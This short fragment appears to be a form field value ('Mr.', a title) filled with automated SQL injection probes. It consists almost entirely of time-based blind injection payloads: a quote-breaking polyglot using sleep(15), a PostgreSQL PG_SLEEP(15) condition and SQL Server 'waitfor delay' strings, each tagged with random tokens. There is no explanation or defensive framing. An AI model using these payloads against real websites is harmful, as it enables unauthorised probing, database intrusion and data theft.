MR.  

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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  Mr.iGyrVWzk\' OR 275=(SELECT 275 FROM PG_SLEEP(15))-- Mr.ixZBxKaG\'; waitfor delay \'0:0:15\' -- Mr.-1 waitfor delay \'0:0:15\' --